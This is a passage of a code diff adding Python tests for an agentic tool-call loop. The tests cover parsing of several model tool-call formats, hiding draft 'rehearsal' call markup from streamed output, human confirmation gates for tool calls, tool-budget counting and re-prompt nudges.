detection is gated on + # that list (matching the strip gate) so a re-emitted repeat is drained and routed to the + # repeat no-op instead of stripped into a blank continuation. + exec_fn = FakeExecuteTool(["Rendered HTML canvas."]) + turns = iter( + [ + [ + '{"name":"render_html","arguments":{"code":"one"}}' + ], + ['render_html[ARGS]{"code":"two"}'], # spent one-shot rehearsal + ["The chart is above."], + ] + ) + + def gen(_messages, *, active_tools = None): + try: + chunks = next(turns) + except StopIteration: + return + acc = "" + for c in chunks: + acc += c + yield acc + + events = _collect_events( + run_safetensors_tool_loop( + single_turn = gen, + messages = [{"role": "user", "content": "make a chart"}], + tools = [ + {"type": "function", "function": {"name": "render_html"}}, + {"type": "function", "function": {"name": "web_search"}}, + ], + execute_tool = exec_fn, + max_tool_iterations = 5, + ) + ) + contents = [e["text"] for e in events if e["type"] == "content"] + # render_html ran exactly once; the repeat was a no-op, not a second execution. + assert exec_fn.calls == [("render_html", {"code": "one"})], exec_fn.calls + # The loop continued past the repeat to the real answer (not a blank continuation). + assert any("The chart is above." in t for t in contents), contents + # The raw rehearsal markup never leaked as visible content. + assert not any("render_html[ARGS]" in t for t in contents), contents + + +def test_rehearsal_call_name_is_not_streamed_before_args(): + # A rehearsal whose name and [ARGS] arrive together must drain, not stream the bare name. + loop, exec_fn = _make_loop( + turns = [['web_search[ARGS]{"query":"cats"}'], ["Found."]], + exec_results = ["RESULT"], + max_tool_iterations = 3, + ) + events = _collect_events(loop) + assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls + contents = [e["text"] for e in events if e["type"] == "content"] + assert not any("web_search" in t for t in contents), contents + + +def test_rehearsal_call_name_split_before_args_is_not_streamed(): + # Finding 5: name and [ARGS] in separate chunks -- the bare name is held until [ARGS] arrives. + loop, exec_fn = _make_loop( + turns = [["web_search", '[ARGS]{"query":"cats"}'], ["Found."]], + exec_results = ["RESULT"], + max_tool_iterations = 3, + ) + events = _collect_events(loop) + assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls + contents = [e["text"] for e in events if e["type"] == "content"] + assert not any("web_search" in t for t in contents), contents + + +def test_plain_word_matching_no_tool_still_streams(): + # The prefix guard must not swallow prose: a non-tool bare word streams. + loop, _exec = _make_loop( + turns = [["weather", " is nice today."]], + max_tool_iterations = 1, + ) + events = _collect_events(loop) + contents = "".join(e["text"] for e in events if e["type"] == "content") + assert "weather is nice today." in contents, contents + + +def test_rehearsal_name_after_prose_in_streaming_is_not_streamed(): + # After prose has streamed (STREAMING state), a split rehearsal name must still be held. + loop, exec_fn = _make_loop( + turns = [ + # _make_loop accumulates these deltas into cumulative snapshots. + ["Let me think. ", "I will search ", "web_search", '[ARGS]{"query":"cats"}'], + ["Found."], + ], + exec_results = ["RESULT"], + max_tool_iterations = 3, + ) + events = _collect_events(loop) + assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls + contents = [e["text"] for e in events if e["type"] == "content"] + assert not any("web_search" in t for t in contents), contents + + +def test_rehearsal_name_after_prose_same_chunk_in_streaming_is_not_streamed(): + # Prose then ``web_search[ARGS]{...}`` in one chunk: the boundary is pulled back over the name. + loop, exec_fn = _make_loop( + turns = [ + ["Sure. ", 'now web_search[ARGS]{"query":"cats"}'], + ["Found."], + ], + exec_results = ["RESULT"], + max_tool_iterations = 3, + ) + events = _collect_events(loop) + assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls + contents = [e["text"] for e in events if e["type"] == "content"] + assert not any("web_search" in t for t in contents), contents + + +def test_initial_buffer_flush_holds_split_rehearsal_name(): + # First flush out of BUFFERING applies the same trailing-name hold as STREAMING. + loop, exec_fn = _make_loop( + turns = [["I will use python", '[ARGS]{"code":"print(1)"}'], ["done"]], + exec_results = ["RESULT"], + max_tool_iterations = 3, + ) + events = _collect_events(loop) + assert exec_fn.calls == [("python", {"code": "print(1)"})], exec_fn.calls + contents = [e["text"] for e in events if e["type"] == "content"] + assert not any("python" in t for t in contents), contents + + +def test_think_rehearsal_streams_monotonically_and_keeps_reasoning(): + # A think rehearsal streams the same text the final strip keeps: cumulative content is + # monotonically non-decreasing and ends with the markup intact. + loop, exec_fn = _make_loop( + turns = [["plan ", 'search[ARGS]{"q":"x"}', " visible"]], + max_tool_iterations = 1, + ) + events = _collect_events(loop) + contents = [e["text"] for e in events if e["type"] == "content"] + assert exec_fn.calls == [], exec_fn.calls + assert all(len(b) >= len(a) for a, b in zip(contents, contents[1:])), contents + final = contents[-1] if contents else "" + assert 'search[ARGS]{"q":"x"}' in final, contents + assert "visible" in final, contents + + +def test_plain_answer_ending_with_tool_name_word_is_preserved(): + # End-of-stream flush: a plain answer ending on a tool-name word is prose, not dropped. + loop, exec_fn = _make_loop( + turns = [["I think ", "you should ", "web_search"]], + max_tool_iterations = 1, + ) + events = _collect_events(loop) + assert exec_fn.calls == [], exec_fn.calls + contents = [e["text"] for e in events if e["type"] == "content"] + assert any(t.rstrip().endswith("web_search") for t in contents), contents + + +def test_long_tool_name_split_rehearsal_is_not_capped_and_executes(): + # Finding 10/11: an MCP name longer than the buffer cap, split before [ARGS], is still + # held (self-bounding prefix); no leak and the call executes. + from core.inference.safetensors_agentic import _MAX_BUFFER_CHARS + + name = "mcp__github__create_pull_request" + assert len(name) >= _MAX_BUFFER_CHARS, len(name) + exec_fn = FakeExecuteTool(["RESULT"]) + _turns = iter([[name, name + '[ARGS]{"x":1}'], ["done"]]) + + def st(_messages, active_tools = None): + yield from next(_turns) + + events = _collect_events( + run_safetensors_tool_loop( + single_turn = st, + messages = [{"role": "user", "content": "go"}], + tools = [{"type": "function", "function": {"name": name}}], + execute_tool = exec_fn, + max_tool_iterations = 2, + ) + ) + assert exec_fn.calls == [(name, {"x": 1})], exec_fn.calls + contents = [e["text"] for e in events if e["type"] == "content"] + assert not any(name in t for t in contents), contents + + +def test_unrestricted_mode_split_rehearsal_name_is_not_streamed(): + # Finding 6: unrestricted mode treats any bare identifier as a possible rehearsal NAME. + exec_fn = FakeExecuteTool(["RESULT"]) + _turns = iter([["web_search", 'web_search[ARGS]{"q":"x"}'], ["done"]]) + + def st(_messages, active_tools = None): + yield from next(_turns) + + events = _collect_events( + run_safetensors_tool_loop( + single_turn = st, + messages = [{"role": "user", "content": "go"}], + tools = [], # unrestricted + execute_tool = exec_fn, + max_tool_iterations = 2, + ) + ) + assert exec_fn.calls == [("web_search", {"q": "x"})], exec_fn.calls + contents = [e["text"] for e in events if e["type"] == "content"] + assert not any("web_search" in t for t in contents), contents + + +def test_unrestricted_mode_split_after_bracket_is_not_streamed(): + # Unrestricted mode: a chunk split right after ``NAME[`` is still held (parity with the + # restricted-mode startswith hold). + exec_fn = FakeExecuteTool(["RESULT"]) + _turns = iter([["web_search[", 'web_search[ARGS]{"q":"x"}'], ["done"]]) + + def st(_messages, active_tools = None): + yield from next(_turns) + + events = _collect_events( + run_safetensors_tool_loop( + single_turn = st, + messages = [{"role": "user", "content": "go"}], + tools = [], # unrestricted + execute_tool = exec_fn, + max_tool_iterations = 2, + ) + ) + assert exec_fn.calls == [("web_search", {"q": "x"})], exec_fn.calls + contents = [e["text"] for e in events if e["type"] == "content"] + assert not any("web_search[" in t for t in contents), contents + + +def test_unrestricted_mode_plain_prose_still_streams(): + # The unrestricted hold releases a held identifier once the rest of the sentence follows. + def st(_messages, active_tools = None): + for snap in ("Hello", "Hello there friend."): + yield snap + + events = _collect_events( + run_safetensors_tool_loop( + single_turn = st, + messages = [{"role": "user", "content": "hi"}], + tools = [], + execute_tool = FakeExecuteTool([]), + max_tool_iterations = 1, + ) + ) + contents = "".join(e["text"] for e in events if e["type"] == "content") + assert "Hello there friend." in contents, contents + + +def test_safety_net_honors_disabled_auto_heal_for_late_incomplete_call(): + # A late call caught by the safety net: an unclosed ```` heals only with Auto-Heal on; + # off, the safety net must not pass ``allow_incomplete=True`` and execute a truncated call. + prose = "Sure, let me look that up for you right now. " + incomplete = '{"name":"web_search","arguments":{"query":"weather in Sydney"}}' + + loop_off, exec_off = _make_loop( + turns = [[prose, incomplete], ["Final answer."]], + exec_results = ["RESULT"], + auto_heal_tool_calls = False, + max_tool_iterations = 3, + ) + events_off = _collect_events(loop_off) + assert exec_off.calls == [], "disabled Auto-Heal must not execute a healed incomplete call" + assert not [e for e in events_off if e.get("type") == "tool_start"] + + loop_on, exec_on = _make_loop( + turns = [[prose, incomplete], ["Final answer."]], + exec_results = ["RESULT"], + auto_heal_tool_calls = True, + max_tool_iterations = 3, + ) + _collect_events(loop_on) + assert exec_on.calls == [("web_search", {"query": "weather in Sydney"})], exec_on.calls + + +def test_bare_json_tool_call_is_not_streamed_as_content(): + # Llama-3.2 ``custom_tools`` bare form ``{"name":..,"parameters":..}`` carries no + # XML signal. The loop must BUFFER it until the object closes and execute it via + # the safety net, never leaking the raw JSON to streaming clients as content. + bare = '{"name":"web_search","parameters":{"query":"cats"}}' + loop, exec_fn = _make_loop( + turns = [[bare], ["Here are the results."]], + exec_results = ["RESULT"], + max_tool_iterations = 3, + ) + events = _collect_events(loop) + assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls + contents = [e["text"] for e in events if e["type"] == "content"] + assert not any('"name"' in t or "web_search" in t for t in contents), contents + assert any("Here are the results." in t for t in contents) + + +def test_ordinary_json_with_name_key_is_shown_not_treated_as_tool_call(): + # Markerless JSON whose "name" is not an enabled tool (e.g. a person record + # ``{"name":"Alice",...}``) must be shown as the answer, not misread as a call + # to a disabled tool and dropped. _make_loop enables web_search/python/terminal. + answer = '{"name":"Alice","parameters":{"age":30}}' + loop, exec_fn = _make_loop(turns = [[answer]], max_tool_iterations = 1) + events = _collect_events(loop) + assert exec_fn.calls == [], exec_fn.calls + contents = "".join(e["text"] for e in events if e["type"] == "content") + assert "Alice" in contents, contents + + +def test_bare_json_tool_call_split_across_chunks_is_not_streamed(): + # Same as above but the bare object arrives split mid-key, so the buffer is + # held open across chunks before it balances. + loop, exec_fn = _make_loop( + turns = [ + ['{"name":"web_', 'search","parameters":{"query":"cats"}}'], + ["Done."], + ], + exec_results = ["RESULT"], + max_tool_iterations = 3, + ) + events = _collect_events(loop) + assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls + contents = [e["text"] for e in events if e["type"] == "content"] + assert not any('"name"' in t or "web_search" in t for t in contents), contents + + +def test_gemma_wrapperless_call_is_not_streamed_as_content(): + # Gemma 4 wrapper-less ``call:NAME{...}`` has no XML signal; the loop must hold + # it (BUFFERING) and execute it, never streaming the raw call text. + loop, exec_fn = _make_loop( + turns = [["call:web_search{query:cats}"], ["Found."]], + exec_results = ["RESULT"], + max_tool_iterations = 3, + ) + events = _collect_events(loop) + assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls + contents = [e["text"] for e in events if e["type"] == "content"] + assert not any("call:web_search" in t for t in contents), contents + + +def test_gemma_wrapperless_call_with_whitespace_is_suppressed_when_streamed(): + # Gemma may emit ``call : NAME{...}`` with whitespace around the colon, split across stream + # chunks. + loop, exec_fn = _make_loop( + turns = [["call", " : ", "web_search", "{query:cats}"], ["Found."]], + exec_results = ["RESULT"], + max_tool_iterations = 3, + ) + events = _collect_events(loop) + assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls + contents = [e["text"] for e in events if e["type"] == "content"] + assert not any("call" in t for t in contents), contents + + +def test_long_gemma_tool_name_is_not_streamed_as_content(): + # A tool name longer than the small buffer cap (OpenAI 64 chars, MCP longer) + # must still be held: the ``call:NAME`` prefix keeps buffering until ``{`` + # instead of leaking ``call:longname`` as visible text. + long_name = "mcp__github__list_repository_issues" # 35 chars + turns = iter([list('call:%s{repo:"octo/hello"}' % long_name), ["Done."]]) + + def _gen(_messages): + try: + chunks = next(turns) + except StopIteration: + return + acc = "" + for c in chunks: + acc += c + yield acc + + exec_fn = FakeExecuteTool(["RESULT"]) + loop = run_safetensors_tool_loop( + single_turn = _gen, + messages = [{"role": "user", "content": "hi"}], + tools = [{"type": "function", "function": {"name": long_name}}], + execute_tool = exec_fn, + max_tool_iterations = 3, + ) + events = _collect_events(loop) + assert exec_fn.calls == [(long_name, {"repo": "octo/hello"})], exec_fn.calls + contents = [e["text"] for e in events if e["type"] == "content"] + assert not any("call:" in t for t in contents), contents + + +def test_leading_json_answer_is_not_dropped(): + # A leading ``{...}`` that is NOT a tool call must still surface as content: + # the bare-JSON hold can only ever delay it to end-of-object, never drop it. + obj = '{"answer": 42, "note": "done"}' + loop, exec_fn = _make_loop( + turns = [[obj]], + exec_results = [], + max_tool_iterations = 3, + ) + events = _collect_events(loop) + assert exec_fn.calls == [] + contents = [e["text"] for e in events if e["type"] == "content"] + assert any('"answer"' in t for t in contents), contents + + +def _reprompt_loop(*, auto_heal_tool_calls): + """Drive one restricted tool with an intent-only first turn to exercise the nudge; returns conversations and events.""" + captured: list[list] = [] + + def fake_single_turn(messages, active_tools = None): + captured.append(list(messages)) + if len(captured) == 1: + yield "I'll search for that now." # forward-looking intent, no call + else: + yield "Final answer." + + exec_fn = FakeExecuteTool([]) + events = _collect_events( + run_safetensors_tool_loop( + single_turn = fake_single_turn, + messages = [{"role": "user", "content": "find X"}], + tools = [{"type": "function", "function": {"name": "search_knowledge_base"}}], + execute_tool = exec_fn, + auto_heal_tool_calls = auto_heal_tool_calls, + # Studio always nudges (always-on for the Studio inference paths); the + # API opts in per request. Model the Studio caller here. + nudge_tool_calls = True, + max_tool_iterations = 3, + ) + ) + return captured, events + + +def test_reprompt_names_only_active_tools_not_hardcoded(): + # The plan-without-action nudge must name the tools actually enabled, never the + # old hardcoded ``web_search``/``python`` (which a restricted set would reject). + captured, _events = _reprompt_loop(auto_heal_tool_calls = True) + assert len(captured) >= 2, "intent prose should have triggered a re-prompt turn" + reprompt = captured[1][-1] + assert reprompt["role"] == "user" + assert "search_knowledge_base" in reprompt["content"] + assert "web_search" not in reprompt["content"] + assert "python" not in reprompt["content"] + + +def test_reprompt_suppressed_when_auto_heal_disabled(): + # With Auto-Heal off the safetensors nudge must stay silent for backend parity + # with the GGUF loop, so only the single initial generation runs. + captured, events = _reprompt_loop(auto_heal_tool_calls = False) + assert len(captured) == 1, captured + contents = [e["text"] for e in events if e["type"] == "content"] + assert any("search for that" in t for t in contents) + + class TestLoopBasic: def test_plain_answer(self): # No tool XML; loop should yield content then status="". @@ -356,6 +2318,154 @@ class TestLoopBasic: contents = [e for e in events if e["type"] == "content"] assert "Result: 1" in contents[-1]["text"] + def test_llama3_python_tag_form(self): + # The agentic loop must recognise Llama-3's <|python_tag|> + # marker, drain the rest of the turn, and execute the call. + loop, exec_fn = _make_loop( + turns = [ + [ + "<|python_tag|>web_search.call(", + 'query="weather in Tokyo"', + ")", + ], + ["The weather is sunny."], + ], + exec_results = ["Sunny, 22C"], + ) + events = _collect_events(loop) + assert exec_fn.calls == [("web_search", {"query": "weather in Tokyo"})] + contents = [e for e in events if e["type"] == "content"] + assert "sunny" in contents[-1]["text"].lower() + + def test_llama3_bare_json_form_fires_tool(self): + # Llama-3.1 / 3.2 emit a bare-JSON tool call + # ``{"name":..,"parameters":..}`` with NO XML signal. The loop's + # safety-net parse must still fire the tool instead of treating the + # turn as "planned without calling tools" and re-prompting the model + # into giving up. Regression for the has_tool_signal gate that + # dropped these; GGUF's llama-server parses them natively. + loop, exec_fn = _make_loop( + turns = [ + ['{"name": "web_search", "parameters": {"query": "weather in SF"}}'], + ["The weather is sunny."], + ], + exec_results = ["Sunny, 18C"], + ) + events = _collect_events(loop) + assert exec_fn.calls == [("web_search", {"query": "weather in SF"})] + contents = [e for e in events if e["type"] == "content"] + assert "sunny" in contents[-1]["text"].lower() + + def test_mistral_pre_v11_form(self): + # Pre-v11 Mistral emission: ``[TOOL_CALLS] [{...}]``. + loop, exec_fn = _make_loop( + turns = [ + [ + '[TOOL_CALLS] [{"name":"web_search",', + '"arguments":{"query":"hi"},"id":"abc"}]', + ], + ["done"], + ], + exec_results = ["ok"], + ) + events = _collect_events(loop) + assert exec_fn.calls == [("web_search", {"query": "hi"})] + # Mistral-provided ids must propagate to tool_start events. + tool_start = next(e for e in events if e["type"] == "tool_start") + assert tool_start["tool_call_id"] == "abc" + + def test_mistral_v11_form(self): + # v11+ Mistral emission: bare ``name{json}`` after the trigger. + loop, exec_fn = _make_loop( + turns = [ + ['[TOOL_CALLS]web_search{"query":"hi"}'], + ["done"], + ], + exec_results = ["ok"], + ) + events = _collect_events(loop) + assert exec_fn.calls == [("web_search", {"query": "hi"})] + + def test_gemma4_form(self): + # Gemma 4 emission: ``<|tool_call>call:NAME{...}``. + loop, exec_fn = _make_loop( + turns = [ + [ + "<|tool_call>call:web_search{", + 'query:<|"|>weather<|"|>', + "}", + ], + ["sunny"], + ], + exec_results = ["Sunny, 22C"], + ) + events = _collect_events(loop) + assert exec_fn.calls == [("web_search", {"query": "weather"})] + + def test_deepseek_v3_1_form(self): + # DeepSeek V3.1 emission inside the agentic loop -- the buffer state machine must wake on + # ``<｜tool▁calls▁begin｜>`` and the parser must extract the V3.1 bare-JSON body. + loop, exec_fn = _make_loop( + turns = [ + [ + "<｜tool▁calls▁begin｜>", + "<｜tool▁call▁begin｜>web_search", + "<｜tool▁sep｜>", + '{"query":"Tokyo weather"}', + "<｜tool▁call▁end｜>", + "<｜tool▁calls▁end｜>", + ], + ["The weather is sunny."], + ], + exec_results = ["Sunny, 22C"], + ) + events = _collect_events(loop) + assert exec_fn.calls == [("web_search", {"query": "Tokyo weather"})] + contents = [e for e in events if e["type"] == "content"] + assert contents and "sunny" in contents[-1]["text"].lower() + + def test_glm_form(self): + # GLM 4.x emission: ``NAME\n...``. + loop, exec_fn = _make_loop( + turns = [ + [ + "web_search\n", + "query\n", + "Tokyo\n", + "", + ], + ["found"], + ], + exec_results = ["..."], + ) + events = _collect_events(loop) + assert exec_fn.calls == [("web_search", {"query": "Tokyo"})] + + def test_kimi_form(self): + # Kimi K2 emission ``<|tool_calls_section_begin|>...``. + loop, exec_fn = _make_loop( + turns = [ + [ + "<|tool_calls_section_begin|>", + "<|tool_call_begin|>functions.web_search:0", + "<|tool_call_argument_begin|>", + '{"query":"Tokyo"}', + "<|tool_call_end|>", + "<|tool_calls_section_end|>", + ], + ["done"], + ], + exec_results = ["..."], + ) + events = _collect_events(loop) + # The bare name must reach execute_tool, even though the model + # emitted ``functions.web_search:0`` as the formatted id. + assert exec_fn.calls == [("web_search", {"query": "Tokyo"})] + # tool_start carries the original full id so the conversation + # roundtrip can replay it verbatim. + tool_start = next(e for e in events if e["type"] == "tool_start") + assert tool_start["tool_call_id"] == "functions.web_search:0" + def test_render_html_emits_provisional_tool_start(self): exec_fn = FakeExecuteTool(["Rendered HTML canvas."]) turn_iter = iter( @@ -393,6 +2503,138 @@ class TestLoopBasic: assert exec_fn.calls[0][0] == "render_html" assert "" in exec_fn.calls[0][1]["code"] + def test_render_html_confirmation_gate_suppresses_early_provisional(self, monkeypatch): + """When a human confirmation gate is active, render_html must not surface + an early provisional tool_start: that card (keyed by tool_call_id, no + approval) would show the tool 'running' before the user approves. The + gated real tool_start is the first signal the UI receives instead.""" + monkeypatch.setattr(safetensors_agentic, "new_approval_id", lambda: "approval-rh") + monkeypatch.setattr(safetensors_agentic, "begin_tool_decision", lambda *_a, **_k: object()) + monkeypatch.setattr(safetensors_agentic, "wait_tool_decision", lambda *_a, **_k: "allow") + + exec_fn = FakeExecuteTool(["Rendered HTML canvas."]) + turn_iter = iter( + [ + [ + "", + "", + "Hi", + ], + ["Done."], + ] + ) + + def _gen(_messages): + chunks = next(turn_iter) + acc = "" + for chunk in chunks: + acc += chunk + yield acc + + loop = run_safetensors_tool_loop( + single_turn = _gen, + messages = [{"role": "user", "content": "make html"}], + tools = [{"type": "function", "function": {"name": "render_html"}}], + execute_tool = exec_fn, + confirm_tool_calls = True, + session_id = "sess", + max_tool_iterations = 3, + ) + events = _collect_events(loop) + tool_starts = [e for e in events if e["type"] == "tool_start"] + + # No early provisional (empty-args) card while confirmation is pending. + assert [e for e in tool_starts if e.get("arguments") == {}] == [] + # The real, gated tool_start still surfaces with the full arguments. + real = [e for e in tool_starts if e.get("arguments", {}).get("code")] + assert len(real) == 1 + assert real[0].get("awaiting_confirmation") is True + assert "" in real[0]["arguments"]["code"] + assert exec_fn.calls[0][0] == "render_html" + + def test_render_html_bypass_permissions_keeps_early_provisional(self, monkeypatch): + """bypass_permissions wins over the confirm gate, so the early provisional + card is preserved (no human approval is required).""" + exec_fn = FakeExecuteTool(["Rendered HTML canvas."]) + turn_iter = iter( + [ + [ + "", + "", + "Hi", + ], + ["Done."], + ] + ) + + def _gen(_messages): + chunks = next(turn_iter) + acc = "" + for chunk in chunks: + acc += chunk + yield acc + + loop = run_safetensors_tool_loop( + single_turn = _gen, + messages = [{"role": "user", "content": "make html"}], + tools = [{"type": "function", "function": {"name": "render_html"}}], + execute_tool = exec_fn, + confirm_tool_calls = True, + bypass_permissions = True, + session_id = "sess", + max_tool_iterations = 3, + ) + events = _collect_events(loop) + tool_starts = [e for e in events if e["type"] == "tool_start"] + + assert len(tool_starts) == 2 + assert tool_starts[0]["arguments"] == {} + assert "" in tool_starts[1]["arguments"]["code"] + + def test_render_html_provisional_card_closed_on_generator_exception(self): + """If the model generator raises mid-stream after a provisional render_html + card was surfaced, the loop must close that card as errored before the + exception propagates, so the UI never leaves a tool spinning forever.""" + exec_fn = FakeExecuteTool([]) + + def _gen(_messages): + acc = "" + for chunk in ["", ""]: + acc += chunk + yield acc + raise RuntimeError("model pipeline exploded") + + loop = run_safetensors_tool_loop( + single_turn = _gen, + messages = [{"role": "user", "content": "make html"}], + tools = [{"type": "function", "function": {"name": "render_html"}}], + execute_tool = exec_fn, + ) + + collected: list[dict] = [] + raised = False + try: + for event in loop: + collected.append(event) + except RuntimeError as exc: + raised = True + assert "exploded" in str(exc) + + assert raised + provisional = [ + e for e in collected if e["type"] == "tool_start" and e.get("arguments") == {} + ] + assert len(provisional) == 1 + # The provisional card is closed (as an error) before the exception + # propagates, so it never dangles. + closing = [ + e + for e in collected + if e["type"] == "tool_end" and e.get("tool_call_id") == provisional[0]["tool_call_id"] + ] + assert len(closing) == 1 + assert "Error" in (closing[0].get("result") or "") + def test_python_tool_containing_render_html_signal_does_not_emit_provisional_start(self): loop, exec_fn = _make_loop( turns = [ @@ -412,6 +2654,42 @@ class TestLoopBasic: assert tool_starts[0]["tool_name"] == "python" assert exec_fn.calls == [("python", {"code": "print('')"})] + def test_render_html_rehearsed_in_think_block_emits_no_provisional_start(self): + # BUG B: a render_html rehearsed inside think before a real python call must not emit a + # provisional render_html card; only the outside-think call fires. + exec_fn = FakeExecuteTool(["ok"]) + turn_iter = iter( + [ + [ + 'draft render_html[ARGS]{"code":"x"}', + 'python[ARGS]{"code":"print(1)"}', + ], + ["Done."], + ] + ) + + def _gen(_messages): + chunks = next(turn_iter) + acc = "" + for chunk in chunks: + acc += chunk + yield acc + + loop = run_safetensors_tool_loop( + single_turn = _gen, + messages = [{"role": "user", "content": "run code"}], + tools = [ + {"type": "function", "function": {"name": "render_html"}}, + {"type": "function", "function": {"name": "python"}}, + ], + execute_tool = exec_fn, + ) + events = _collect_events(loop) + tool_starts = [e for e in events if e["type"] == "tool_start"] + + assert [e["tool_name"] for e in tool_starts] == ["python"], tool_starts + assert exec_fn.calls == [("python", {"code": "print(1)"})] + def test_render_html_success_blocks_second_canvas_call(self): exec_fn = FakeExecuteTool(["Rendered HTML canvas."]) turn_iter = iter( @@ -583,6 +2861,59 @@ class TestLoopBehaviour: assert len(duplicate_nudges) == 1 assert captured_tool_names[2] == ["web_search", "python"] + def test_duplicate_noop_does_not_consume_budget_at_small_cap(self): + # A duplicate/disabled no-op turn is a correction turn and must NOT spend the + # caller's tool budget, so with max_tool_iterations=2 the model can still make a + # DISTINCT valid call after repeating one. Only turns that actually execute a + # tool count -- matching the GGUF loop. (The budget used to be charged per + # non-re-prompt iteration, so the duplicate burned the second slot and the third + # turn was sent with no tools, dropping the ``python`` call.) + captured_tool_names: list[list[str]] = [] + turns = iter( + [ + ['{"name":"web_search","arguments":{"query":"x"}}'], + ['{"name":"web_search","arguments":{"query":"x"}}'], + ['{"name":"python","arguments":{"code":"print(1)"}}'], + ["final"], + ] + ) + + def fake_single_turn(messages, active_tools = None): + captured_tool_names.append( + [ + tool["function"]["name"] + for tool in (active_tools or []) + if tool.get("function", {}).get("name") + ] + ) + chunks = next(turns) + acc = "" + for chunk in chunks: + acc += chunk + yield acc + + exec_fn = FakeExecuteTool(["search-result", "python-result"]) + _collect_events( + run_safetensors_tool_loop( + single_turn = fake_single_turn, + messages = [{"role": "user", "content": "hi"}], + tools = [ + {"type": "function", "function": {"name": "web_search"}}, + {"type": "function", "function": {"name": "python"}}, + ], + execute_tool = exec_fn, + max_tool_iterations = 2, + ) + ) + + # Both distinct tools execute; the repeated call in between did not cost a slot. + assert exec_fn.calls == [ + ("web_search", {"query": "x"}), + ("python", {"code": "print(1)"}), + ] + # The turn after the duplicate still offered tools (budget not yet spent). + assert captured_tool_names[2] == ["web_search", "python"] + def test_repeated_duplicate_noop_transitions_to_final_attempt(self): captured_tool_names: list[list[str]] = [] turns = iter( @@ -771,6 +3102,269 @@ class TestLoopBehaviour: assert "boom" in tool_end["result"] +class TestLoopRePrompt: + """Plan-without-action re-prompt parity with GGUF: nudge instead of terminating, up to ``MAX_ACT_REPROMPTS`` extra slots. Studio always nudges, so these drive the loop with ``nudge_tool_calls=True``.""" + + def test_intent_signal_triggers_reprompt(self): + # Turn 1: intent signal, no tool call. + # Turn 2 (re-prompt): proper tool call -> executes. + # Turn 3: final answer. + loop, exec_fn = _make_loop( + turns = [ + ["Let me search for that."], + [ + '{"name":"web_search","arguments":' + '{"query":"sky color"}}' + ], + ["The sky is blue."], + ], + exec_results = ["Blue (Rayleigh scattering)"], + nudge_tool_calls = True, + ) + events = _collect_events(loop) + # web_search must have been called once (after the re-prompt). + assert exec_fn.calls == [("web_search", {"query": "sky color"})] + contents = [e for e in events if e["type"] == "content"] + assert contents and "blue" in contents[-1]["text"].lower() + + def test_intent_signal_without_tools_does_not_reprompt(self): + # Same intent signal but no tools enabled -- must NOT re-prompt. + loop, exec_fn = _make_loop( + turns = [["Let me think about that for a moment."]], + exec_results = [], + ) + # _make_loop hard-codes three tools; rebuild without tools. + from core.inference.safetensors_agentic import run_safetensors_tool_loop + + def _gen(_messages): + yield "Let me think about that for a moment." + + exec_fn = FakeExecuteTool([]) + events = _collect_events( + run_safetensors_tool_loop( + single_turn = _gen, + messages = [{"role": "user", "content": "hi"}], + tools = [], + execute_tool = exec_fn, + ) + ) + assert exec_fn.calls == [] + contents = [e for e in events if e["type"] == "content"] + assert contents and "think" in contents[-1]["text"].lower() + + def test_direct_answer_does_not_trigger_reprompt(self): + # Plain answer with no intent words: do NOT re-prompt. + loop, exec_fn = _make_loop( + turns = [["4"]], + exec_results = [], + ) + events = _collect_events(loop) + assert exec_fn.calls == [] + contents = [e for e in events if e["type"] == "content"] + assert contents and contents[-1]["text"].strip() == "4" + + def test_max_reprompts_capped(self): + # Model keeps stalling with intent -- after MAX_ACT_REPROMPTS re-prompts + # the loop must give up rather than burn forever. + turns = [["Let me search for that."]] * 6 # well over the cap + loop, exec_fn = _make_loop( + turns = turns, + exec_results = [], + nudge_tool_calls = True, + ) + events = _collect_events(loop, max_events = 500) + # No tool ever ran, but the loop terminated cleanly. + assert exec_fn.calls == [] + statuses = [e for e in events if e["type"] == "status"] + assert statuses and statuses[-1]["text"] == "" + + def test_short_intent_below_buffer_threshold_triggers_reprompt(self): + # Short emission that never exits BUFFERING (< 32 chars + no + # marker prefix). The unified buffer-end path must still + # trigger the intent re-prompt, not silently terminate. + loop, exec_fn = _make_loop( + turns = [ + ["Let me check."], + ['{"name":"web_search","arguments":{"query":"x"}}'], + ["found"], + ], + exec_results = ["..."], + nudge_tool_calls = True, + ) + events = _collect_events(loop) + assert exec_fn.calls == [("web_search", {"query": "x"})] + + def test_reprompt_does_not_consume_tool_budget(self): + # max_tool_iterations=1: one re-prompt, then one real tool call, + # then the budget-exhausted final answer must still fire. If the + # re-prompt ate the slot the tool call would never run. + loop, exec_fn = _make_loop( + turns = [ + # 1. Intent stall (re-prompt). + ["Let me search for that."], + # 2. Real tool call (uses the budget slot). + ['{"name":"web_search","arguments":{"query":"weather"}}'], + # 3. Budget exhausted -> nudged final answer. + ["Final: it is sunny"], + ], + exec_results = ["sunny"], + max_tool_iterations = 1, + nudge_tool_calls = True, + ) + events = _collect_events(loop) + assert exec_fn.calls == [("web_search", {"query": "weather"})] + contents = [e for e in events if e["type"] == "content"] + assert contents and "sunny" in contents[-1]["text"].lower() + + +class TestLoopCanonicalHealKey: + """Per-tool canonical heal key (``code``/``command``/``query``), mirroring GGUF.""" + + def test_python_bare_string_heals_to_code(self): + loop, exec_fn = _make_loop( + turns = [ + ['{"name":"python","arguments":"print(1)"}' ""], + ["done"], + ], + exec_results = ["1\n"], + ) + events = _collect_events(loop) + # The bare string must heal to {"code": "print(1)"}, not + # {"query": ...}, so the python sandbox actually executes it. + assert exec_fn.calls == [("python", {"code": "print(1)"})] + + def test_terminal_bare_string_heals_to_command(self): + loop, exec_fn = _make_loop( + turns = [ + ['{"name":"terminal","arguments":"ls -la"}' ""], + ["done"], + ], + exec_results = ["..."], + ) + events = _collect_events(loop) + assert exec_fn.calls == [("terminal", {"command": "ls -la"})] + + def test_unknown_tool_bare_string_heals_to_query(self): + loop, exec_fn = _make_loop( + turns = [ + ['{"name":"web_search","arguments":"hello"}' ""], + ["ok"], + ], + exec_results = ["..."], + ) + events = _collect_events(loop) + assert exec_fn.calls == [("web_search", {"query": "hello"})] + + +class TestGGUFSafetensorsHealingParity: + """Pin 